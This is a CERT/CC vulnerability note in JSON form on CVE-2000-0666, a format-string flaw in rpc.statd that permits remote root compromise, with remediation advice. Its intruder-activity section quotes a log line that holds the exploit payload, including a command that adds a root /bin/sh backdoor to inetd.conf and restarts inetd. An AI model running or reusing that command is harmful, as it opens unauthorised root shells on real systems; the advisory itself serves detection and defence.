{"vuid":"VU#34043","idnumber":"34043","name":"rpc.statd vulnerable to remote root compromise via format string stack overwrite","keywords":["rpc.statd","statd","format string","nfs-utils"],"overview":"The CERT/CC has begun receiving reports of an input validation vulnerability in the rpc.statd program being exploited. This program is included, and often installed by default, in several popular Linux distributions. Please see the vendors section of this document for specific information regarding affected distributions. More information about this vulnerability is available at the following public URLs: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0666\nhttp://www.securityfocus.com/bid/1480 The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root.","clean_desc":"Intruder Activity\nThe following is an example log message from a compromised system illustrating the rpc.statd exploit occurring: Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname\ncontaining '/': ^D^D^E^E^F\n^F^G^G08049f10\nbffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f\n20656d61 746e6f63 696e6961 2720676e 203a272f\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000bffff7\n0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000bffff707K^v 1\nF'F* FF+,\nNV1@/bin\n/sh -c echo 9704 stream tcp \nnowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd If you see log entries similar to those above, we suggest you examine your system for signs of intrusion by following the steps outlined in our Intruder Detection Checklist. If you believe your host has been compromised, please follow our Steps for Recovering From a Root Compromise. Please check our Current Activity page for updates regarding intruder activity.","impact":"By exploiting this vulnerability, local or remote users may be able to execute arbitrary code with the privileges of the rpc.statd process, typically root.","resolution":"Upgrade your version of rpc.statd\nPlease see the vendors section of this document for more information about the availability of program updates specific to your system. If you are running a vulnerable version of rpc.statd, the CERT/CC encourages you to apply appropriate vendor patches. After making any updates, be sure to restart the rpc.statd service. Disable the rpc.statd service\nIf an update cannot be applied, the CERT/CC recommends disabling the rpc.statd service. We advise proceeding with caution, however, as disabling this process can interfere with NFS functionality. Block unneeded ports at your firewall\nAs a good security practice in general, the CERT/CC recommends blocking unneeded ports at your firewall. This option does not remedy the vulnerability, but does prevent outside intruders from exploiting it. In particular, block port 111 (portmapper), as well as the port on which rpc.statd is running, which may vary.","workarounds":"","sysaffected":"","thanks":"","author":"This document was written by John Shaffer and Brian King.","public":["http://www.debian.org/security/2000/20000719a","http://www.redhat.com/support/errata/RHSA-2000-043-03.html","http://www.securityfocus.com/bid/1480"],"cveids":["CVE-2000-0666"],"certadvisory":"CA-2000-17","uscerttechnicalalert":null,"datecreated":"2000-07-17T22:35:03Z","publicdate":"2000-07-16T00:00:00Z","datefirstpublished":"2000-10-30T23:03:34Z","dateupdated":"2000-11-29T16:44:23Z","revision":9,"vrda_d1_directreport":"","vrda_d1_population":"","vrda_d1_impact":"","cam_widelyknown":"20","cam_exploitation":"20","cam_internetinfrastructure":"18","cam_population":"15","cam_impact":"19","cam_easeofexploitation":"15","cam_attackeraccessrequired":"20","cam_scorecurrent":"92.98125","cam_scorecurrentwidelyknown":"92.98125","cam_scorecurrentwidelyknownexploited":"92.98125","ipprotocol":"","cvss_accessvector":"","cvss_accesscomplexity":"","cvss_authentication":null,"cvss_confidentialityimpact":"","cvss_integrityimpact":"","cvss_availabilityimpact":"","cvss_exploitablity":null,"cvss_remediationlevel":"","cvss_reportconfidence":"","cvss_collateraldamagepotential":"","cvss_targetdistribution":"","cvss_securityrequirementscr":"","cvss_securityrequirementsir":"","cvss_securityrequirementsar":"","cvss_basescore":"","cvss_basevector":"","cvss_temporalscore":"","cvss_environmentalscore":"","cvss_environmentalvector":"","metric":0.0,"vulnote":null}